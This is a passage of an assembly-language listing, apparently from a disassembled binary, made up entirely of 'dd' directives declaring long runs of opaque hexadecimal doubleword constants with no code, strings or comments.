4315F49h, 0F806855h, 632A3BB9h, 5F5D25B3h, 68803879h dd 2CB136BAh, 0E1ED31E9h, 0C1E6EFC7h, 0CFE242ECh, 143AB181h dd 5CE9E07Bh, 69284E96h, 90249025h, 134DB634h, 5DAB252h dd 0B6FE960Ah, 18580823h, 0ACCF8A04h, 9A5D5299h, 0FBB30DFh dd 0E9C816BEh, 5093405Ah, 0E728A2B4h, 20012F93h, 0BF685BFDh dd 52009836h, 0C680BDB6h, 0F0338877h, 0C9F7125Ah, 0EEF010CEh dd 7DE925BAh, 95B92300h, 114A0C28h, 7600AB8Bh, 962DD16h dd 0E027E9C1h, 95B7796Bh, 871FC6FCh, 9077D3EFh, 314B7235h dd 0E684294Ah, 0E23800EFh, 15DC7762h, 99F84A77h, 7A9A4312h dd 34094BACh, 0D85E28A9h, 3008C314h, 57690E5Ah, 14757F48h dd 8B850FBh, 0E912384Ch, 5F994B15h, 149271ECh, 4FC81C9Dh dd 0F8A54E3Ch, 82E948EAh, 7FA5685Ch, 0E8926B66h, 0A674E797h dd 54B542DDh, 0CE6520Bh, 2873385Dh, 8D00320Ch, 0FA2187C6h dd 9DE01FE9h, 513AD327h, 308949F6h, 319280E7h, 78D354A4h dd 4FC7CA03h, 63F5AFD0h, 0D2D84D0h, 0E4F86955h, 0C9ACB8A2h dd 0DDD68949h, 4ECF7839h, 55E8AB0h, 108902Ch, 8B510EBh dd 0FCA5E93Eh, 5B664E6h, 6AF16DC2h, 0E2CD41A1h, 0D2C48E79h dd 0AB644414h, 68B4B413h, 17B4E852h, 5EDD06F5h, 246A6620h dd 1041963h, 0B4204EEFh, 1CD94633h, 1C410883h, 0D4F92214h dd 0F0715F04h, 893AF7F1h, 7B16E19Ah, 0B7E61917h, 20EE8316h dd 0BD0AE944h, 0F6B44E9Dh, 120B6DCh, 6E6F65B8h, 3F9BE84Dh dd 1651EC95h, 61020B68h, 9D561F82h, 0B8C9EA11h, 0FE99C4C6h dd 12E49E88h, 26525Dh, 4B0A3532h, 0F606817Dh, 23376C3Eh dd 7879F4DCh, 4E0B90F8h, 624EF7B9h, 0D4555041h, 6614332Dh dd 294742A1h, 18297BD8h, 2B084F4Ch, 31AD064Fh, 0BF0F7ED8h dd 0C449234Eh, 0A394F00Eh dd 9850B782h, 5E6968DBh, 5F25DA17h, 315CB531h, 37E1892Bh dd 36C6110Dh, 59403C25h, 12B7512Ah, 20615A9Dh, 0BB00418Ch dd 42A82223h, 2689E381h, 5E9BA67h, 0A4CF52E9h, 641D8488h dd 0C981414Fh, 73CD1A68h, 16F2E9F0h, 12018EA0h, 0EF37C4D2h dd 13A3592Ch, 0B54B342Dh, 0B01D60D2h, 1C928B93h, 125CA298h dd 0ED5DE821h, 18B5166h, 501BF993h, 60BF572Eh, 432E6512h dd 0E6A708h, 4C032F2Dh, 0C1488919h, 0B595105Ah, 0E62C503Bh dd 41C34010h, 271F6860h, 0B24DC231h, 982F1AA9h, 56015263h dd 0D818D968h, 77F5E57h, 4178F6C8h, 2F898EC3h, 69EC0DC1h dd 4FE25D02h, 2F2F7CD2h, 895AB845h, 5BF890EEh, 87F2272Ch dd 0DB45890Ch, 0C2725A12h, 0E6D0EC2h, 71D8791Fh, 0D81FD34Ch dd 9658245h, 0DFE9214Fh, 0B1B6F760h, 3DC482A0h, 9DEE6DC3h dd 596E9979h, 4575EA70h, 0D7D12EBCh, 405D12Ah, 3F52C0Ah dd 0F102EF83h, 3C244071h, 0E82D416Fh, 18BF5743h, 810FA871h dd 0A50F3A3Bh, 205030FFh, 0E381ED5h, 0C1C7DA34h, 85AFEBD3h dd 7A906884h, 585C82BDh, 0F503A31Dh, 3EE86786h, 6F5ECDB0h dd 28359E3Eh, 0B5E8EEDh, 7F4CE380h, 0E461B0F4h, 89F9B432h dd 41C565F5h, 0B15DE125h, 1E51E03Dh, 0B762E88h, 0C1E8C00Fh dd 2A34C8FEh, 92D07D30h, 8220FB38h, 52039655h, 1C6896D7h dd 0ECD61612h, 693A0215h, 1541596Bh, 88B9006Ah, 402A2E11h dd 0F071206h, 780308BAh, 0A28F4169h, 0D2A5E3ADh, 7BE10758h dd 560ED32Ch, 0B8B85DCh, 0D40ED652h, 7E150403h, 3F4DDDC1h dd 31A824D0h, 0E9EB15E1h, 1B64E069h, 6F5E83F5h, 9309268Eh dd 78677E78h, 0A6681763h, 29E9837h, 70DD6CA1h, 0F482FC4Ch dd 0E4540901h, 0F22E58DAh, 0D09F04FDh, 5EEF1E49h, 10EB4F20h dd 29540E2Bh, 0E108B1A4h, 88A92428h, 5F0B52F6h, 29878B53h dd 0B2FC8404h, 0DA7C1DC3h, 6620D725h, 16685352h, 33A12817h dd 0EECF1BA0h, 0E91838D4h, 0BFFA004Fh, 10A4B38Eh, 0A78791h dd 0BC219E7Eh, 0FD292878h, 5F088184h, 534C347Bh, 51FCF0E6h dd 5E0DAA12h, 9149C0A0h, 9D93A07Fh, 0DD013122h, 0C118746Ch dd 4D7202EDh, 0DBF7078Eh, 3F4C0E05h, 82E82965h, 1B553E86h dd 0D63AC9C6h, 5BD84D89h, 59875129h, 4CB9730Ch, 79BC0C0Fh dd 0CE0124E5h, 81A0F84h, 0E914010Ch, 7635F8E7h, 0B2D63022h dd 0EBE984ECh, 0F6ECB0h, 6E5C0DDh, 288BC580h, 5059E807h dd 0E0CBA4B0h, 83FE6886h, 8D6ED5A7h, 0A021208Eh, 0C9B779C0h dd 702C1D04h, 0A7DBF5FCh, 10BCB9F3h, 0C31B853Bh, 0B45017BBh dd 6DC01EAh, 20111054h, 0BB80C326h, 0DF5013AFh, 4812E81Fh dd 29C403EEh, 0E1017DF4h, 0BA785D5Bh, 0B008E9C4h, 0CA1C81C2h dd 4747261Fh, 8529424Ah, 0B2B1C990h, 6F712D6Eh, 0AEA9FB53h dd 4316FFD0h, 4F66E22Bh, 0CB1FB962h, 7A2254Fh, 0A8C28DF0h dd 40B00B09h, 80A95AECh, 0B4A095B5h, 5E1FB450h, 3C97E530h dd 0CBB2EE84h, 58E6E2C0h, 51005779h, 97EF21B9h, 99A4E9ADh dd 0A5C117D7h, 0AAABECC4h, 202716D4h, 68619EA6h, 0E9C74C16h dd 0C468112Dh, 7AEC4DE2h, 6D5C6E02h, 54600102h, 25D42CD3h dd 7B99007Ah, 0CB817E9Dh, 705240Eh, 0E8F30154h, 302F4E64h dd 0E92A5B19h, 6BB49880h, 69DE7A69h, 0D7D8134Ch, 0C2968694h dd 7D5FF382h, 5709BE94h, 215964E9h, 9FB551E6h, 120ACB6Ah dd 8DA2F019h, 0FCA92289h, 529C6F78h, 8152D9D0h, 0A4862C5Eh dd 7E3917C2h, 865C3BE4h, 687151E0h, 14A63C5Ch, 132B01E9h dd 1C3704A7h, 377BE1E0h, 0C0205CAEh, 5A4A5005h, 0C9FC573h dd 314C172Bh, 301EAFAh, 46B3F281h, 3F107Ch, 8D6F1A64h dd 0D14201D9h, 63299519h, 0DCDE60C0h, 0D1213841h, 346A16E5h dd 0D78D7269h, 0D5681449h, 59CC2F3Fh, 4547134Ch, 0F8665620h dd 0FA898701h, 0A94FA175h, 0AA8B7F88h, 0A7E3D1E3h, 0AB8EDF18h dd 0D542BAB5h, 39082832h, 0B9A58B4Bh, 5319AA68h, 93489F3Dh dd 9147B3E8h, 94ED5EF3h, 0F0EE2D2Eh, 0D7C1EEF8h, 30C94043h dd 8FC3F880h, 0E942CC45h, 7CC25920h, 0F3E30343h, 0C14C2D16h dd 568C985Bh, 0D5904DE9h, 87241F79h, 2A27BD61h, 45B93600h dd 6E484C68h, 2F2E65AEh, 662F07E1h, 6D27AC5Ah, 8BF85949h dd 0A6B055ADh, 649DA70Fh, 0A4A2CDEDh, 0CBE07C64h, 272BC5CFh dd 5CC7BAD3h, 13AB5474h, 8B25A2B2h, 16175235h, 0F863DA68h dd 0DC55C99Bh, 7382C0C1h, 0E917785Eh, 76C9DE03h, 1186D968h dd 0F91E335Dh, 1DB25E51h, 4E165D5Fh, 7707DD5Bh, 0A27313B5h dd 0C5CF0366h, 4376C68Dh, 3A4727D9h, 0B77CA545h, 75D58DF8h dd 4EDC1912h, 61EADE0Ah, 4AAC9FCCh, 899B4494h, 74765FF9h dd 669241C4h, 5B8AC188h, 1234166Bh, 5A6FE77Dh, 6810A452h dd 28F50251h, 0F91E3C22h, 5A46249Ch, 646240E2h, 501F087Eh dd 8B97A5EAh, 1247FB95h, 2359205Ah, 607ABA08h, 0A7B4304Bh dd 9D5DEE89h, 4D000BA9h, 8CF0570h, 0FA92BB01h, 0ACE9F730h dd 0E924C42Ah, 0DC989395h, 5FF39277h, 0B9C7405Ch, 33012311h dd 86F9BF0Bh, 404FF8F6h, 0B1505164h, 71B2FB8Eh, 92D7293Fh dd 130D1C5h, 3E18E8C1h, 8AB2C831h, 3EE0586Bh, 96306EB9h dd 5022275h, 920C1726h, 5D5E8873h, 1285CEC0h, 60290152h dd 57C3E8EBh, 482E89BFh, 1809696Dh, 27D79658h, 0D8D93421h dd 0F4EF988h, 8FE5E688h, 7F28BB51h, 0E7A85A3Fh, 0F54B7B3Eh dd 2EBF7DC0h, 4E5E636Dh, 41120AC7h, 0BBA8D3EEh, 4B1FF871h dd 0E07CC9AEh, 668006C6h, 0DAB73C53h, 314BDEBFh, 5BA8FFh dd 912B7768h, 0B668A7AAh, 0B9CE61D0h, 0B61CE5E7h, 0C601AE31h dd 41F6A540h, 0F029E26Ah, 0AB42DE9h, 0B29DB0CEh, 15367420h dd 3758E382h, 0F480B205h, 678F1293h, 5AF582D1h, 0E907FCE0h dd 3821BA27h, 5ADB686Ah, 0E92CDC55h, 0AAC8C134h, 84928DA2h dd 0B0A4FCEEh, 9AA1EDE9h, 216F006Ch, 0F1817A36h, 1E6E2B41h dd 0A2AC378h, 0CB01E028h, 4FB835E9h, 0DBE3B0D5h, 40036217h dd 70C23214h, 93FD6DE1h, 0D86222E7h, 530B4CD7h, 909BA0E1h dd 6F3925CEh, 406EC781h, 38F07466h, 0C378752Eh, 918DB04h dd 41344681h, 3DE4B800h, 825372Ch, 5D050427h, 266429AAh dd 0C441950Dh, 0B91257C0h, 72C32F2Bh, 0BA90A07Ah, 77960276h dd 38E9D5F7h, 0ADBF49C8h, 17A4161h, 9A205FFBh, 0B7D2184Ch dd 6DD54286h, 3F0C242Ch, 71F8AD3Eh, 5B540AF5h, 3F684149h dd 3C8D6A5Fh, 1709F560h, 0BC0AE56Ah, 0E0E9E067h, 80FDBCD3h dd 421F5606h, 84AEC68h, 0BF101DA3h, 0D5800E7h, 273D4599h dd 962D3B40h, 0F8773F12h, 852C2D2Bh, 1CA457BAh, 5FEAAC5Fh dd 0D0245D3h, 4D60B428h, 8C9FB9BAh, 3C21B47Ch, 0E90C7951h dd 0ED9FA26Fh, 0A937E60Fh, 43A06B6Eh, 63829C11h, 0A2F6D202h dd 0D93961DEh, 5659903Eh, 0C0F8D68h, 0A55E3F1Ch, 29EAB383h dd 23022133h, 1B523BDFh, 0E243B408h, 0B95AC8B6h, 3B610927h dd 0D710172h, 2DD8656Fh, 0CA57120Ch, 0F2280748h, 0B0A1BF06h dd 0DF31290Bh, 8D2F7B90h, 0D29F1B02h, 925E656h, 5D1C6F09h dd 7EA01406h, 4FD82826h, 18DAB30Eh, 4A2C5B0Ch, 5551A09Dh dd 0E6C1FE27h, 0CE0C4169h, 8491891Ah, 7CF25EA9h, 533FCC90h dd 4A458690h, 0E05135F6h, 4168F850h, 7E1AA619h, 0EB0E9436h dd 0E4FF04h, 2240D9B8h, 6E609546h, 19D3047h, 0FD75D614h dd 60EE87E2h, 24B9607h dd 0C8D4E91Eh, 0EE5A66EDh, 0EA560F4h, 0C10FA7BFh, 0D24F6028h dd 8355B22Ch, 8E181444h, 0ABD3D4CBh, 93007F95h, 0E73772C6h dd 0F1295B54h, 0E8080521h, 795CB2D2h, 4FD32D76h, 1B9F710Bh dd 0DF6EC2CFh, 5B60A9A9h, 0C49F36F8h, 655C5F2Ch, 61A645A0h dd 0E5F199C2h, 21582437h, 2930F577h, 68B9443Ah, 0E330C2Eh dd 310B6CBEh, 0B82AE0B7h, 7A688039h, 0DAE3464Eh, 715F0138h dd 0FC5F0936h, 0EA5451E9h, 32064DCAh, 0D0F717E6h, 3960B504h dd 5C392D02h, 54F8B1Bh, 0A2E88E95h, 0DA58C689h, 0A00C0FABh dd 0F569FEB9h, 0D259AFF4h, 0EBC18950h, 41EAF003h, 9FC22F50h dd 58E8C935h, 818ED92Bh, 189EBE48h, 0C16E2581h, 126AE8Bh dd 1820DDF7h, 2D5812ADh, 3066E110h, 5F17CA9Bh, 0E7032E6Fh dd 0B59C4153h, 0EF8BE84h, 8882312Fh, 8209E2B4h, 0C6A2CF5Ch dd 15D1A0FCh, 48A80B0Eh, 3DF1D387h, 2754E905h, 4A0A20BDh dd 1E7CE4Fh, 0EB815EF3h, 15A1422Dh, 0F7E9FA40h, 0E8F55360h dd 283A3507h, 48CA66B2h, 4A8B15C7h, 0EE92987Ch, 4576F0Eh dd 0FFF9F701h, 0B25AD7C4h, 98FDD201h, 12A1CD2Ah, 8C65C468h dd 212666EEh, 3FA169h, 1B5F1F98h, 27E94B5Bh, 24B8BEDFh dd 683C5157h, 4E219352h, 9D4E2A1h, 3C5C76ADh, 7F28BBE9h dd 0DB2320A0h, 725525Fh, 0E968D692h, 873A431Eh, 0E4AB64D6h dd 200BEBADh, 0A226396Eh, 1328901h, 0E8EF835Eh, 0C60EE781h dd 0C033555Ch, 7F7E31CFh, 0B8CEB80Bh, 482D0F99h, 7E9D532Ch dd 0E01A5BF0h, 7A20542h, 50D12943h, 0C64DC1A5h, 0CA841542h dd 7C640B36h, 4CBAA8A2h, 0EFB47B1Eh, 29919205h, 1D70A460h dd 0A052ECEFh, 741F8B91h, 4959278Ch, 7BE9A1C0h, 42033D4h dd 2120032Eh, 8E8841AEh, 600D0435h, 0FF407044h, 0B0C75801h dd 4D981F3Dh, 1D330C26h, 586D2412h, 0FE28DBF1h, 0FE9DD1F4h dd 9D30110Ch, 6B4C903Eh, 0D6C0B860h, 1E073AE5h, 1CDEC2Ah dd 5C6C22CBh, 2005EDC1h, 8404798Fh, 0E9313F35h, 29C508B8h dd 0C3E8AD4Ch, 249CFEE9h, 30CD9B9h, 38285709h, 97785EAh dd 0FAF09402h, 4B444FA4h, 35C89257h, 575859CFh, 292E2EA3h dd 7F3707AAh, 0FE7B23C8h, 21305963h, 0C187A641h, 8680B30h dd 0BAABBF19h, 300FD970h, 0C45966E8h, 70A22D09h, 1EA7462h dd 0C1E18802h, 0D385AB9h, 25EF5D8Dh, 5C52A94h, 20C106E2h dd 0FA0D5C26h, 0D537D640h, 2D512A58h, 0B09A5A54h, 80EB0E3Bh dd 0F7606CCFh, 5BFA8898h, 2CD30438h, 8F2CD0D0h, 0FF5DA818h dd 68407877h, 0E5D74Bh, 71683B49h, 0D0ACEE89h, 0F8E6C127h dd 57D206CDh, 144E3023h, 6A0658h, 0A09AABC4h, 0C21AE8E9h dd 5C295F5Ch, 5BE7CD8Ch, 0E90F098Bh, 0C3D1FD40h, 1701BF2Ch dd 57EFC16h, 4785973Ch, 0CB4DECC3h, 80A4E1C2h, 0D77F7FF1h dd 5FA95FABh, 0E05C7462h, 62E04B4Fh, 0E9AA5941h, 0D5A6456h dd 0BFD44BA9h, 0A80AD39Bh, 0DC4F422h, 0EDE7F553h, 5EC7680Ah dd 0B95160DFh, 2D122FD3h, 6600F73Ah, 0D76B74E1h, 0E9872501h dd 1641C502h, 0D295E508h, 0C2800ADFh, 5A13E01Ch, 23DF2DC1h dd 0CA288005h, 75790CE0h, 0DA3468BFh, 4D1D2071h, 6215E925h dd 5B8F8BCEh, 516B88D1h, 0E9130C90h, 4D0222Dh, 0C0D2A5F6h dd 9D9F576Fh, 8598776Eh, 520DE0Ch, 0EA100C62h, 0E9640B78h dd 32F64DCDh, 0B72CD4C9h, 313B7040h, 1AB92D29h, 20D93507h dd 19BE41E4h, 0D00306F2h, 97589EE9h, 49BF015Ah, 4712420Dh dd 0A4C76920h, 31840CD5h, 8A0C5F5Ch, 1DA65505h, 62B0B1E9h dd 200C9866h, 1798A549h, 2B64695h, 116D88B9h, 0C2D04158h dd 5E9EEB80h, 4719702Ch, 0E72C20Bh, 24CCA521h, 26B78741h dd 0F8C086B0h, 0E0C0125Bh, 0E4B60006h, 64E9C9FEh, 0F7CE4297h dd 0F0522F19h, 6F92BAC7h, 489523F7h, 59C427C4h, 300560B6h dd 1E0CC20Eh, 0F3EE67E9h, 271AECCAh, 0EC407440h, 0ADEE6CC2h dd 0E231202Ch, 3F50B637h, 68017DC0h, 0F08D2F9h, 9F2835Fh dd 0B9F35D96h, 0F51DAC9h, 0C828862Ch, 0A798269Dh, 39CAB45Bh dd 4748D3A8h, 81B120DBh, 0C1EC0B8Fh, 4CE92D01h, 415056ADh dd 6EC4922Fh, 0ACAAD88h, 164031FAh, 0FD0C3BA1h, 0A4B49779h dd 173067B5h, 1023F221h, 0A24F2A93h, 0D45CB209h, 28A15C5Eh dd 59A3299h, 326E5BCBh, 0B03D7F83h, 4DE966F6h, 0B45A5EC0h dd 5D3B72C6h, 0F3012DE2h, 0FF0C2048h, 408D4D20h, 11B95BD5h dd 3BA0E56Fh, 5F79B8A3h, 0C9225FA6h, 0E3DC17ECh, 3D8EC44Fh dd 5B670500h, 0A1B615B8h, 6841BDACh, 0A32C4820h, 236CBBC0h dd 50644165h, 4516F7E6h, 91CE7568h, 2E05D096h, 0BE9136C8h dd 0BEE8093h, 5A606417h, 862614BDh, 0ED51209Fh, 0A8E15E5Ah dd 1F33252Fh, 3F238F58h, 89EA1E19h, 761987DAh, 95566467h dd 0CE39EFDBh, 0F80B2F71h, 0F23CE983h, 0B54F8B76h, 70E08512h dd 0CB38FD52h, 8405F490h, 0C37E786Ah, 0D5A8064h, 760815F1h dd 73D65829h, 0F9FEF84h, 0D01A5387h, 8C288508h, 0F2CD41FBh dd 2F1C17E9h, 9C2AE829h, 0AE12B99Ch, 83068810h, 0B20DAAE9h dd 94CC976Dh, 0D1F5E19Fh, 0A9FBCCC9h, 0D09758E3h, 418B3A4h dd 57F9F766h, 0F2683498h, 4C659D61h, 64B38F12h, 24A2B65Bh dd 4FA87001h, 5315240h, 936891C8h, 0C45BE811h, 9916B981h dd 73C3602Eh, 0A3CE244Ah, 2C04D25Bh, 97F522h, 0F7481A05h dd 735B422Fh, 870E3069h, 6CB59E68h, 325A01C6h, 0E95F22D5h dd 7796D4Ah, 7C3DF1E7h, 0C2F66B9Fh, 7474180Ch, 36F4626Fh dd 5B042655h, 7B8B10A9h, 667C6F29h, 0AD44801Eh, 94D7AC2Ch dd 25ECA14Dh, 0EBAFB1BFh, 934E3B06h, 454AC104h, 0FEC04D25h dd 48D32AC5h, 0F13E0641h, 902AB3Dh, 0B1F0E9F9h, 6E699354h dd 176FBD81h, 0FAE909B0h, 80309C06h, 51DC6431h, 361EB3BAh dd 0F24B26CAh, 456F05Eh, 7C534EEAh, 8100BB34h, 0E979AD47h dd 95869A80h, 0E6906314h, 0B7D1E520h, 7466D6E2h, 2DBF2FB9h dd 8C0F4C54h, 3133405Bh, 71AF06DDh, 0B25FBA78h, 84CC2D49h dd 53A929EFh, 82F4AA4Ch, 0DDF1A19Ch, 0FFB86F42h, 0ABF5E924h dd 49E93E28h, 593BD6B7h, 4480510h, 1551F0B9h, 62A00ABh dd 293E5842h, 0EB50CB78h, 7968B08h, 7F589F93h, 0DEF3C588h dd 0FE20740Dh, 2705B102h, 7D2E4042h, 124A9323h, 498FF024h dd 5A50ADBCh, 7EFE2968h, 0CDB58EC0h, 0F8AEE80Ch, 0C7F3A560h dd 1E806E21h, 14D70136h, 0E90B08EFh, 97D340DBh, 0FB1FF80Bh dd 505542E4h, 14A5440h, 2518C3Fh, 0A56C5ACFh, 0D4207D59h dd 311F3530h, 0DBB0D7F0h, 0C7E22F4Fh, 6EBB3581h, 3E9F8E8h dd 1AA9662h, 0D4A98BC3h, 4589205h, 0FEC9E428h, 3CD2FE71h dd 9500927Fh, 0B0658009h, 0F6127D0Fh, 0FDF16030h, 0C85584EFh dd 4E9754Ch, 6AE7363h, 0C5EDF0h, 29376716h, 0E908E5C1h dd 4A159E5Eh, 0B3D720h, 5AE95628h, 0AC9C1398h, 9FACF564h dd 5C59DCD2h, 0D3E94BCFh, 9F0A0AA4h, 32C5103Eh, 34BBE168h dd 4043C264h, 0ADEB062Bh, 0B7B18494h, 20BE45E5h, 924E95CFh dd 3C122D54h, 2C689C40h, 6F0E3FB4h, 1AE5E1A6h, 6181C4B5h dd 0DD683720h, 0BDCC3A1Bh, 636B6D3h, 9E7BF380h, 3323195Eh dd 2321C941h, 680BF267h, 8554581Fh, 5F118B79h, 0CB2801F2h dd 1C18B532h, 94DDBF27h, 4E6F4082h, 3C6B0737h, 0C6C8B3BDh dd 136FDEC3h, 0A340312Bh, 0EF4C026Ch, 5AD101E8h, 212D02DDh dd 42A37ED0h, 0EDB217D3h dd 11D40F48h, 0B9726881h, 0E8295816h, 0D04789B1h, 0C094BDB4h dd 0B72F8BB0h, 0A185D9ABh, 5759A5C3h, 14E2FB08h, 11F20B8h dd 81A112C6h, 0C8DD88A2h, 5B1F59EEh, 0CF56F030h, 7BE6385h dd 0D115F2F3h, 42055845h, 3EE5906h, 0B546E91Ah, 0B090774Eh dd 35915111h, 0CB6CF7B4h, 0F3E92F55h, 3BBFABF8h, 0B454B558h dd 51D71E90h, 500B3F93h, 80812063h, 39287FF4h, 0EBA558E5h dd 51648851h, 5D2F97F8h, 0F70851FBh, 0E2531740h, 546880C3h dd 0B0E834Dh, 0D7E9965Eh, 6DC488A9h, 68853C9Ch, 1D574145h dd 0CAD3161Ch, 939BBD0Eh, 985C4032h, 9793A54Dh, 505B4DCCh dd 0AA634A98h, 0E90F7680h, 3AE9AF22h, 292C54F0h, 0ED1D07FDh dd 806B1242h, 13207589h, 0AFA75D7h, 50289198h, 2B708B8h dd 0A64FC1h, 0A279F381h, 26D84630h, 0F0F6203h, 72D93544h dd 44C4338Bh, 927DF198h, 1976CC02h, 60C58927h, 705F57Bh dd 4D075333h, 90E58045h, 1A61B95Eh, 4C409A9Ah, 24EB9420h dd 926F45E9h, 3CAFA420h, 6AF00B9Fh, 0B606901Eh, 0F0283C69h dd 5204744Dh, 0D0DC2BE9h, 3B050DDh, 0CD8F60Fh, 0A73DA466h dd 0D9A1C3ECh, 715A0236h, 0B25286E1h, 0DA1E42E2h, 0F183D0F6h dd 7304E8C0h, 2C43000Eh, 0E9C1887Bh, 5995D7CEh, 22958958h dd 1100065Ah, 255F936Ah, 489866D6h, 35E3B71h, 5ECC088h dd 2EB582DFh, 81148461h, 7DB9BF18h, 6E216403h, 58B83A20h dd 0AD030A0Bh, 4748CD4Dh, 784C1A04h, 0FD012C13h, 3A8C1839h dd 0DD922C12h, 0D6474A19h, 0D48A56Ah, 0F780BF74h, 966817F9h dd 0C5EFF91Ch, 5CE89265h, 0AED544D2h, 993BF432h, 9652ED4Fh dd 0D601D791h, 2A9B31h, 0D3FB99Bh, 0BB7669CAh, 4AD42E48h dd 0DE8925C1h, 0B74D0F30h, 0CA605C92h, 7E82C818h, 545E4CF5h dd 604B0F16h, 75AFCB0Ch, 0B94F6F5h, 0EF2907A9h, 0C3012A50h dd 9269805h, 0C03158C7h, 70165A40h, 65CA3B81h, 0C41B018h dd 0A31F637Bh, 0F2414A1Dh, 530CE221h, 125743Ch, 0C15AF95Eh dd 0F2390256h, 84BEB896h, 385A7440h, 95A1BF85h, 47D876Ah dd 36CB1E06h, 0A032F14Bh, 0C5124EA4h, 9DC3BDC1h, 91A13362h dd 0B2C86FF3h, 0F1EB7D79h, 0AA073F7Ch, 0A672DA31h, 0A231DF33h dd 0F45747C7h, 59A1D225h, 0A8CB1EC0h, 53427CB9h, 0C9E6F454h dd 688F0C73h, 0A1B3F717h, 5B32B75Ah, 735853B3h, 9C7514E2h dd 555A28FEh, 70790AD6h, 2B53BF3h, 51123E53h, 0E956405Dh dd 0B62D4F52h, 899D7343h, 201973F7h, 8210EEA8h, 0BF0D4D0h dd 0D425DFB6h, 0EF852668h, 0D7D2FAE5h, 8846528h, 0C182D5B8h dd 0D79B250Ch, 1758A780h, 0F2EB05B2h, 0BB1C8778h, 97A61F24h dd 4D5BDD0Ah, 16A0381Ch, 4053515Ah, 227A176Bh, 0EAD05969h dd 0B292E07h, 0E9C88901h, 6A39B157h, 0D4787102h, 8E572928h dd 0C5816567h, 0E7B10B10h, 970B93FAh, 0EC6979FAh, 59925CF1h dd 0F79B525Eh, 57AAE916h, 2D42FC2Eh, 9274F158h, 177BF266h dd 0DD729052h, 0C1212101h, 2F8F3158h, 44EFF1C8h, 95AA630h dd 58311724h, 0A0651FE9h, 0F8A5A13Ch, 3C01A064h, 0E97C0AA1h dd 72134048h, 0A0BC869Bh, 0F17731ECh, 0EE84BB5Ah, 44B403FDh dd 0BDB8D389h, 0D6D00Ah, 6B3C3E55h, 9526BDE9h, 0AB9682C5h dd 1CBC5E53h, 171F9FD6h, 9D57B1E9h, 0ED9319F9h, 0C0963D0Eh dd 69DD0B25h, 0B9060802h, 8095E86Bh, 5EF0216Fh, 146C25E9h dd 8F1F2AE6h, 90A2047h, 0CA033F21h, 0DA75821Ah, 78A58A2h dd 9279C505h, 0D41A207h, 522FB151h, 4F15F81Ah, 2C98F6B6h dd 9BA56CA4h, 0CD71D9B2h, 873A8825h, 3703929Dh, 0EF6929AEh dd 0E9C1507Ch, 6E76A96Fh, 52545112h, 2444EB7Ch, 9D124F4Dh dd 0A2F4DB46h, 0A9AD9389h, 25D8F700h, 6C957D53h, 247F0505h dd 59BBE4D3h, 0EE9A7F0Bh, 0F1AD8A73h, 32E9E3FBh, 0E3AAF755h dd 59664AE4h, 6052681Fh, 564C5FADh, 0F1F9070h, 3CDCB966h dd 0A83EAC44h, 635CC1D2h, 0FAE046CAh, 9940975Fh, 3524E943h dd 95882B25h, 0EFC1018Eh, 42DFF703h, 0B40311ACh, 3D13B99Fh dd 5029203Eh, 0D60F6851h, 0EE6E4D09h, 7BF6B7CCh, 2E2DD95Ah dd 2AE9A19Ch, 9DCAC1E0h, 81E89178h, 6FBDF61Eh, 10E6D14Ch dd 270A3EC6h, 3E3F01A4h, 0CBC8291Fh, 748EFE2Dh, 0FB7E9B47h dd 5789F8C7h, 0B74764BFh, 4ACC0866h, 28E142D8h, 96E36822h dd 0BDE34F60h, 53A32646h, 3B8CBBB0h, 0DD6431F4h, 0E9051C6Ch dd 0DA06F10Fh, 0ABD516E2h, 5D9F6A20h, 4349D4ABh, 1C722052h dd 7AC0DC40h, 0A8073EDh, 44B450E1h, 0A7732CA1h, 4257389Ah dd 0E9701047h, 0DD055E2Bh, 4BB32FDh, 347482BBh, 5C5C0282h dd 0EE880E84h, 62F0ECEBh, 202614B7h, 5F7CE4DBh, 5048F704h dd 0C6AB0F40h, 0C020E877h, 0B1314FB9h, 0D4666241h, 75BFCCE2h dd 98F30905h, 1FA8145Dh, 0F70704F1h, 76CFACD6h, 0A9F740E9h dd 0FC0908B3h, 0E85EF329h, 0F418D6ACh, 59E91316h, 2268F71Ch dd 56F107EEh, 40576529h, 1670EDBEh, 18BF6900h, 310C3F26h dd 0B55E73F7h, 0FDC68C85h, 0CE011213h, 38E33F0Bh, 2567B435h dd 0F545292h, 5581A6Ch, 6E6FBC25h, 91658447h, 0E8BA0514h dd 9A9F49C0h, 0B5667086h, 0CBBF7667h, 2096A6F6h, 18C1687Bh dd 25D9FB97h, 68850E6Fh, 31EA11F1h, 14B93944h, 0F70C81ABh dd 90CBE4F9h, 5FFB8917h, 32BCFED0h, 0E96A0B91h, 0E973A226h dd 5378ACBDh, 0E1285C85h, 0C11E03AAh, 599230C8h, 0C4BEB057h dd 1D93BD21h, 72D223C1h, 3C10094h, 29FEBF8Fh, 412DB8CFh dd 0FDB701F3h, 0E1B60705h, 0F10126C7h, 783A02BCh, 22F1352Dh dd 808D34Bh, 5E12BFE1h, 534C0BFEh, 33E2AB89h, 4919B7Fh dd 0FED0050Ch, 49A482A7h, 0BE255A05h, 6750DBE4h, 0B0D59A53h dd 0D2E9262Fh, 0D425819Eh, 0BB0CC5F0h, 5B829638h, 98FCAD7h dd 0DE3F2968h, 0E5DEC9D6h, 5B6E5452h, 22F58C15h, 0CC91D236h dd 1E9335FEh, 610F0FBFh, 1970FA74h, 0C5D0C4Fh, 327AC45Fh dd 70A61298h, 0EAE9FB13h, 0F603DEE9h, 42335F56h, 0B8B8C4ECh dd 0BC00A5F7h, 708A3525h, 0E1384BE9h, 5A869D3h, 4631C35Dh dd 135FD4A8h, 8C58E0A1h, 0F365B260h, 4B2FEE64h, 0E6350434h dd 94B2ACEFh, 35D8589Fh, 0E6BC149Ah, 0CE151B2h, 0F8562AB6h dd 4617ABACh, 2BC2E4Dh, 0CD0585BAh, 95CE5809h, 28E91142h dd 6A026A2Dh, 0D5378F68h, 2A1C6599h, 7766CCh, 250B9D2Fh dd 79DC47DBh, 0FBA5202h, 0F707911Fh, 44F0BF8Bh, 2094FAE6h dd 66BC958h, 85E9416Ch, 0E2175A3h, 4F90BE75h, 6E05022Dh dd 8455DA37h, 1C80CA2Ah, 261F2206h, 9688146h, 0E4F8172Dh dd 930A30Dh, 0A4DC1A36h, 0D13A5C54h, 134A2610h, 0B400315Fh dd 0AD1FCBEAh, 0B60CC249h, 0FD8B2D58h, 82071DEh, 0F0685013h dd 7E16A0F9h, 2846D2B9h, 0A940A353h, 0D636A530h, 7D31F7B2h dd 0ECA2AF5Fh, 8F2F6158h, 0A5D60928h, 0ADC5540Bh, 0E93BE8A7h dd 0EA8A483Dh, 0D739BB92h, 